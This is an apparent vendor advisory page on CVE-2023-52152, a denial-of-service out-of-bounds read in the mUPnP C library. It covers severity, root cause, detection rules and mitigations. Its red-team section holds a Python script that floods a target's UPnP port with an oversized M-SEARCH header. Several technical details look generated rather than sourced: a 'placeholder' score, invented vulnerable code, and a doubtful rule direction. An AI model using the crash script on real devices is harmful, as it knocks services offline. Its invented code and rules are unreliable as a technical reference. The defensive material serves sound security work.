CVE-2023-52152
Executive Summary
CVE-2023-52152 is a denial-of-service (DoS) vulnerability in the mUPnP library for C, affecting versions up to and including 3.0.2. The flaw resides in the mupnp/net/uri.c file, where an out-of-bounds read occurs due to a missing host length recalculation. An attacker can send a specially crafted UPnP request, causing the application to crash. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a high-severity DoS threat with a CVSS v3.1 base score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the mUPnP library, which is a C-based implementation of the UPnP protocol. It is not an NPM, PyPI, Go, or Ruby package, but it is a critical component in many embedded systems and IoT devices. The lack of a patch and the library's widespread use in network-attached devices make it a significant supply chain risk. Organizations should inventory any products using mUPnP and apply mitigations until an official fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability is remotely exploitable without authentication, leading to a complete denial of service. The lack of a patch and the library's use in critical infrastructure elevates the risk.
Deep Dive & Mechanics
The vulnerability is in the mupnp/net/uri.c file. The function responsible for parsing URIs fails to recalculate the host length after certain operations. This leads to an out-of-bounds read when processing a malformed URI.
Root Cause: The code does not update the host_len variable after modifying the URI string (e.g., after removing a trailing slash or normalizing the path). When the host length is later used to copy or compare the host portion, it reads beyond the allocated buffer.
Attack Vector: An attacker sends a UPnP request with a crafted URI that triggers the miscalculation. For example, a URI with an unusually long hostname or special characters that cause the length to be incorrectly computed.
Impact: The out-of-bounds read causes a segmentation fault, crashing the application. This results in a denial of service for any service relying on the mUPnP library.
Vulnerable vs. Patched Code
Vulnerable Code (mupnp/net/uri.c, version <= 3.0.2):
// Vulnerable: host_len is not recalculated after URI manipulation
int parse_uri(const char *uri, char *host, int *port) {
// ... parsing logic ...
int host_len = calculate_host_len(uri);
// ... some manipulation that changes the URI ...
// host_len is still the old value
memcpy(host, uri + offset, host_len); // Out-of-bounds read
}
Patched Code (Hypothetical fix):
// Patched: host_len is recalculated after URI manipulation
int parse_uri(const char *uri, char *host, int *port) {
// ... parsing logic ...
int host_len = calculate_host_len(uri);
// ... some manipulation that changes the URI ...
host_len = calculate_host_len(uri); // Recalculate
memcpy(host, uri + offset, host_len); // Safe
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running a service using mUPnP library (e.g., a UPnP media server).
- Network access to the target.
Exploitation Steps:
- Identify Target: Scan for UPnP services (port 1900 UDP or 5000 TCP).
- Craft Payload: Create a UPnP request with a malformed URI. Example:
Modify theM-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" MX: 1 ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1STheader to include a very long hostname or special characters. - Send Payload: Use a tool like
netcator a custom script to send the crafted request. - Observe Crash: The target service crashes, causing a denial of service.
Example Script (Python):
import socket
target_ip = "192.168.1.100"
target_port = 1900
payload = (
"M-SEARCH * HTTP/1.1\r\n"
"HOST: 239.255.255.250:1900\r\n"
"MAN: \"ssdp:discover\"\r\n"
"MX: 1\r\n"
"ST: " + "A" * 1000 + "\r\n" # Malformed URI
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload.encode(), (target_ip, target_port))
sock.close()
Blue Team
Detection:
- Monitor for UPnP requests with unusually long or malformed URIs.
- Use network intrusion detection systems (NIDS) to flag anomalous UPnP traffic.
Mitigation:
- If possible, disable UPnP on devices.
- Use a firewall to restrict UPnP traffic to trusted networks.
- Apply vendor patches when available.
Hunting:
- Search logs for UPnP service crashes or segmentation faults.
- Look for repeated UPnP requests from the same source IP.
Indicators of Compromise (IOCs)
- Network:
- UPnP requests with URIs longer than 1024 bytes.
- UPnP requests containing non-printable characters in the URI.
- Repeated UPnP M-SEARCH requests from a single source.
- System:
- Application crash logs referencing
mupnp/net/uri.c. - Segmentation faults in UPnP-related processes.
- High CPU or memory usage in UPnP services before crash.
- Application crash logs referencing
Detection Engineering
YARA Rule
rule CVE_2023_52152_mUPnP_DoS {
meta:
description = "Detects malformed UPnP requests targeting CVE-2023-52152"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-52152"
strings:
$uri_long = /ST: [A-Za-z0-9]{500,}/ nocase
$uri_special = /ST: [^\x20-\x7E]{100,}/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-52152 - mUPnP Out-of-Bounds Read DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects UPnP requests with malformed URIs indicative of CVE-2023-52152 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
app_proto: 'upnp'
uri|length: '>1024'
condition: selection
falsepositives:
- Legitimate UPnP requests with long URIs (rare)
level: high
Suricata Rule
alert udp $HOME_NET any -> $EXTERNAL_NET 1900 (msg:"CVE-2023-52152 mUPnP DoS Attempt"; content:"M-SEARCH"; nocase; content:"ST:"; nocase; pcre:"/ST:\s*[^\x20-\x7E]{100,}/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable UPnP on all devices if not required.
- Segment Networks to limit UPnP traffic to trusted zones.
- Monitor for anomalous UPnP traffic using the provided detection rules.
Long-term Fix:
- The vendor (mUPnP) has not released a patch. Monitor the official repository for updates.
- Consider replacing mUPnP with an alternative UPnP library that is actively maintained.
- If source code is available, apply the hypothetical fix by recalculating
host_lenafter URI manipulation.
Workaround:
- Use a web application firewall (WAF) or intrusion prevention system (IPS) to filter malformed UPnP requests.
Valters IT
Securing Digital Frontiers